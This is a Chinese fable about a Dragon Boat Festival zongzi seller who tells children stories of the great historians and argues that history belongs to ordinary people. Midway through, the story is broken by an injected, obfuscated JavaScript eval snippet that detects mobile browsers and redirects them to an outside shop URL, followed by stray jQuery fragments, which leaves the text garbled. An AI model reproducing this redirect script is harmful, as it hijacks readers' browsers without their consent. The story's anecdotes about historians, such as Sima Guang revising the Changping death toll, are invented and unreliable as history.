楔子·龙舟说史


    五月初五端午，泉州晋江边，龙舟竞渡，锣鼓震天。江畔“观澜亭”前，老儒施先生正摆着桌案，给一群蒙童讲史。


    “……古今史，全在兹！载治乱，知兴衰！史虽繁，读有次——史记一，汉书二，后汉三，国志四。兼证经，参通鉴。读史者，考实录，通古今，若亲目。口而诵，心而惟，朝于斯，夕于斯。此乃读史正法，万不可乱！”


    孩子们捧着《史记》《汉书》，愁眉苦脸。有个叫阿海的男孩嘀咕：“施先生，龙舟要开始了……”


    施先生戒尺一敲：“史者，国之镜也！不读史，何以明兴衰？今日先讲《史记·屈原贾生列传》，再讲《汉书·百官公卿表》……”


    正说着，江边传来一声清亮吆喝：“卖糖粽子喽——甜粽咸粽豆沙粽，吃了聪明赛包公！”


    孩子们齐刷刷扭头。只见个戴斗笠的白衣人，担着竹担悠悠走来。担子一头是热腾腾的粽子，一头是各式小玩意：竹编的龙舟、五彩的丝线、艾草香囊。斗笠是细篾与菖蒲叶混编，檐边缀着几枚小铜铃。白衣是葛布所制，洗得发白，袖口卷起露出结实小臂。木剑插在腰后，剑穗是褪色的五色丝绦打成双钱结。面上蒙着本色棉纱，只露出一双含笑的眼睛。


    “卖糖粽喽——”白衣人放下担子，揭开蒸笼，甜香四溢。


    孩子们直咽口水。阿海大着胆子问：“糖粽……怎么卖？”


    白衣人笑道：“不要钱，换故事。一个故事换一个粽。”


    “什么故事？”


    “就讲——”白衣人看向施先生的桌案，“你手上那本《史记》的故事。”


    一、 太史公的竹简


    白衣人拿起个竹编龙舟，摆在石阶上。


    “话说很久以前，有个叫司马迁的人，他爹是太史令，管记史。他爹临死前说：‘儿啊，咱们祖上就当史官，记史是本分。你要接着记，从黄帝记到现在。’司马迁答应了。”


    “他背着竹简到处走，问老人，问农夫，问船夫，问铁匠。老人说：‘我爷爷说，他爷爷见过秦始皇修长城，抬石头累死了。’农夫说：‘我太公说，汉高祖从前在这打过仗，借了我家一斗米。’船夫说：‘我听爷爷的爷爷说，屈原就是在这投的江。’”


    “司马迁就记下：秦始皇的事，汉高祖的事，屈原的事。记了十年，竹简堆成山。”


    白衣人从担子里拿出个粽子，剥开竹叶，米香扑鼻。


    “后来他得罪了皇帝，受了宫刑。大家都以为他要寻死，可他没死。他说：‘我爹让我记史，史还没记完，不能死。’”


    “他在牢里还写，在病中还写。写完那天，他把竹简捆好，说：‘这是从黄帝到现在的故事。里面有皇帝，有将军，有文人，也有老人、农夫、船夫、铁匠。’”


    “有人问：‘你记这些普通人作甚？’司马迁说：‘没有普通人，哪来的皇帝？长城是百姓修的，仗是百姓打的，米是百姓种的。史，是百姓的史。’”


    白衣人把粽子递给阿海：“这就是《史记》——不是皇帝一个人的故事，是所有人的故事。”


    阿海接过粽子，咬了一口，含糊道：“那……我们能上《史记》么？”


    “能啊，”白衣人笑，“你爷爷的爷爷的爷爷，也许就被司马迁问过话呢。”


    二、 班固的毛笔


    白衣人又拿起个竹编龙舟。


    “到了汉朝，有个叫班固的，接着司马迁写，写《汉书》。他爹班彪也是史官，家里藏书多。班固从小读竹简，读得眼都花了。”


    “他写汉高祖，写汉武帝，写卫青霍去病。可写着写着，他觉得不对——怎么全是皇帝将军？种田的呢？打铁的呢？撑船的呢？”


    “他就背着干粮出门，到处问。在长安市集，问卖饼的老王：‘老王，你爷爷见过汉武帝么？’老王说：‘见过！武帝出巡，我爷爷在路边卖饼，军爷把饼全拿走了，没给钱。’”


    “在黄河边，问老船夫：‘大爷，你爷爷运过军粮么？’老船夫说：‘运过！我爷爷说，一船粮，三十个船夫，到地方只剩二十八，累死两个。’”


    “班固就记下：老王爷爷的饼，老船夫爷爷的粮。他弟弟班昭说：‘哥，这些鸡毛蒜皮，记它作甚？’班固说：‘没有饼，皇帝饿不饿？没有粮，将军打不打仗？’”


    白衣人又剥了个粽子，递给另一个孩子。


    “《汉书》写完了，厚厚一堆。有人说：‘这是汉朝皇帝的家谱。’班固摇头：‘这是汉朝百姓的饭谱。’”


    孩子们笑了。施先生坐在亭中，戒尺搁在膝上，默默听着。


    三、 范晔的砚台


    “汉朝完了，是三国。有个叫范晔的，写《后汉书》。他本来不想写史，想当官。可官没当好，被贬了，闲来无事，就写史。”


    “他写光武帝，写曹操刘备孙权。可越写越没劲——怎么全是打仗阴谋？老百姓呢？”


    “他就到处逛。在乡下，问老农：‘您祖上经历过黄巾之乱么？’老农说：‘怎没经历？我太爷爷说，黄巾来了，官军也来了，都抢粮。后来他躲山里，吃野菜活了。’”


    “在古城，问老吏：‘您祖上在衙门当差么？’老吏说：‘我爷爷是文书。他说，曹操的令，刘备的告，孙权的旨，最后都落到百姓头上——交粮，当兵，纳税。’”


    “范晔就记下：老农太爷爷的野菜，老吏爷爷的文书。有人说他：‘你写这些琐碎，谁看？’范晔说：‘不看琐碎，怎知乱世？’”


    白衣人剥第三个粽子时，施先生忽然开口：“那《三国志》呢？陈寿怎么写？”


    白衣人回头一笑，露出弯弯的眼角：“陈寿啊，他有个毛病——太简略。写曹操，‘挟天子以令诸侯’，七个字。可那些年里，百姓怎么过的？他没写。”


    “所以读《三国志》，得配着《后汉书》读。一本写将相，一本写百姓。就像吃粽子，”白衣人举起粽子，“糯米是糯米，肉是肉，豆沙是豆沙。单吃一样，没味；合起来，才是粽子。”


    四、 司马光的灯笼


    “唐朝完了是五代，五代完了是宋朝。宋朝有个司马光，编《资治通鉴》。这书厚，从战国写到五代，一千多年。”


    “司马光编书，有个法子：白天写，夜里也写。书房挂满灯笼，照得亮堂堂。他怕写错，每个事都要查好几本书。”


    “有天夜里，他查‘长平之战’。书上说，秦将白起坑杀赵卒四十万。司马光想：四十万人，怎么坑？坑多大？挖多久？谁挖的？”


    “他就问老仆：‘老张，你老家是长平那边的，听说过这事么？’老仆说：‘听我太爷爷说过，长平有个万人坑，现在还能挖出骨头。不过不是四十万，是四万——我太爷爷说，他爷爷的爷爷数过，数了三年，四万具。’”


    “司马光就记下：‘白起坑杀赵卒，或曰四十万，或曰四万，今从实考，当以四万为近。’”


    白衣人看着孩子们：“你们说，是四十万对，还是四万对？”


    阿海想了想：“老仆的太爷爷数过，应该是四万对。”


    “可史书都写四十万啊。”白衣人眨眨眼。


    “那……史书写错了？”


    “不是错，”白衣人说，“是写史的人，有的听说，有的眼见，有的夸大，有的缩小。司马光要做的，就是提着灯笼，在夜里一本本对，一句句问——这叫‘考实录’。”


    他指着江上龙舟：“就像划龙舟，有人喊‘赢了十丈’，有人喊‘赢了八丈’。你得自己去看，去量，才知道到底是几丈。”


    五、 端午的龙舟


    五个粽子讲完五个史家的故事。江上锣鼓骤响，龙舟赛开始了。


    白衣人收拾担子，对孩子们说：“好了，故事讲完，我要去看龙舟了。”


    阿海拉住他：“先生，您说读史要‘口而诵，心而惟，朝于斯，夕于斯’。可我们……背不下来啊。”


    白衣人摸摸他的头，指着江上：“你看那龙舟。船头鼓手，是不是在诵？‘咚！咚！咚！’诵的是力。船尾舵手，是不是在惟？看水势，看风向，惟的是路。整船人，从早练到晚，是不是朝于斯，夕于斯？”


    孩子们点头。


    “读史也是这样，”白衣人说，“《史记》是鼓，给你力气；《汉书》是舵，给你方向；《后汉书》是桨，让你看清左右；《三国志》是旗，让你知道目标；《通鉴》是整条船，载你过历史的江。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200308|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “不用全背，但要记住：史是百姓的史，是粽子的史，是龙舟的史。你爷爷的爷爷划龙舟，你爹的爹包粽子，这些也是史。”


    他挑起担子，走向江边。走了几步，回头笑道：“对了，今日端午，屈原投江的故事——司马迁问过渔夫，范晔问过船家，司马光查过楚地志。可最知道屈原的，是江里的鱼，是岸边的百姓。你们要吃粽子，要看龙舟，要听百姓说的屈原，那才是真的史。”


    尾声·江畔实录


    那天之后，施先生不再逼孩子背《史记》《汉书》了。他在观澜亭挂了个牌子：“端午说史——一个粽子一个故事”。


    孩子们带来粽子，他就讲：讲屈原的故事，讲伍子胥的故事，讲曹娥的故事——都是从老人、渔夫、船家那里听来的。他说：“这是《史记》没写的，《汉书》漏掉的，《后汉书》忘掉的，《通鉴》略掉的——可这是真的史。”


    阿海后来成了船夫，也爱说史。他说：“我爷爷的爷爷，在晋江划了五十年船。他说，江底沉着唐朝的瓦，宋代的砖，明朝的锚。这些也是史。”


    而那个卖糖粽的白衣人，再也没有出现。但端午那天，总有孩子在江边看到个戴斗笠的白影，站在最远的礁石上看龙舟。风吹过，带来隐约的歌声：


    古今史，全在兹，不在竹简在粽子。


    载治乱，知兴衰，要看江水和船桨。


    史记一，汉书二，后汉三，国志四——不如爷爷说故事，不如奶奶唱古谣。


    兼证经，参通鉴，考实录，通古今——龙舟鼓是太史公，船桨是班固笔，江水是司马光灯笼。


    口而诵，心而惟，朝于斯，夕于斯——诵的是糯米香，惟的是菖蒲长，朝朝暮暮是百姓日子长。


    本章诫世


    一、 读史真义训


    - 古今史，全在兹。载治乱，知兴衰。史虽繁，读有次。史记一，汉书二。后汉三，国志四。兼证经，参通鉴。读史者，考实录。通古今，若亲目。口而诵，心而惟。朝于斯，夕于斯


    - 破解法：读史者，自问“史是谁的史？是竹简的，还是粽子的？是庙堂的，还是江边的？可只诵书，不诵百姓？可惟文字，不惟人事？”


    二、 五史五喻


    - 《史记》喻问——司马迁问老人、农夫、船夫、铁匠，史是问出来的


    - 《汉书》喻饭——班固记卖饼的老王、运粮的船夫，史是百姓的饭谱


    - 《后汉书》喻琐——范晔记老农的野菜、老吏的文书，史是乱世的琐碎


    - 《三国志》喻简——陈寿写将相简略，需配百姓史读，如粽子需糯米配肉


    - 《通鉴》喻灯——司马光提灯笼对书问人，史是夜里一盏灯


    - 五明：史是百姓史，是生活史，是琐碎史，是需配着读的史，是需提灯考的史


    三、 粽子大道


    - 深层隐喻：史是粽子，竹叶是书，糯米是百姓，肉是帝王，豆沙是文人。只吃糯米，知百姓苦；只吃肉，知帝王事；只吃豆沙，知文人思。合起来吃，才是真史。读史者，当如包粽，当如吃粽，当如品粽


    - 终极指向：世人读史，易入歧途：重书卷而轻口传，重将相而轻百姓，重大事而轻琐碎，重一家而轻兼参，重背诵而轻思考。史是生活，是江水，是龙舟，是粽子。莫在书斋求江，莫在竹简求米


    端午史偈：


    晋江端午赛龙舟，施师讲史要童诵。


    史记汉书后汉志，兼证通鉴考实录。


    白衣卖粽说史事，太史公简问百姓。


    班固笔写百姓饭，范晔砚记乱世碎。


    司马光灯笼对书，陈寿略需配民读。


    后世叹：


    古今史，全在兹，不在竹简在粽子。


    载治乱，知兴衰，要看龙舟和船桨。


    施师要童诵经史，白衣说史在百姓。


    从此观澜亭上说，一个粽子一史事。


    正是：


    端午晋江赛龙舟，老儒亭中说史经。


    史记汉书后汉志，通鉴实录要童诵。


    白衣担粽说史事，史在百姓粽米中。


    从此读史先问民，不在竹简在生活。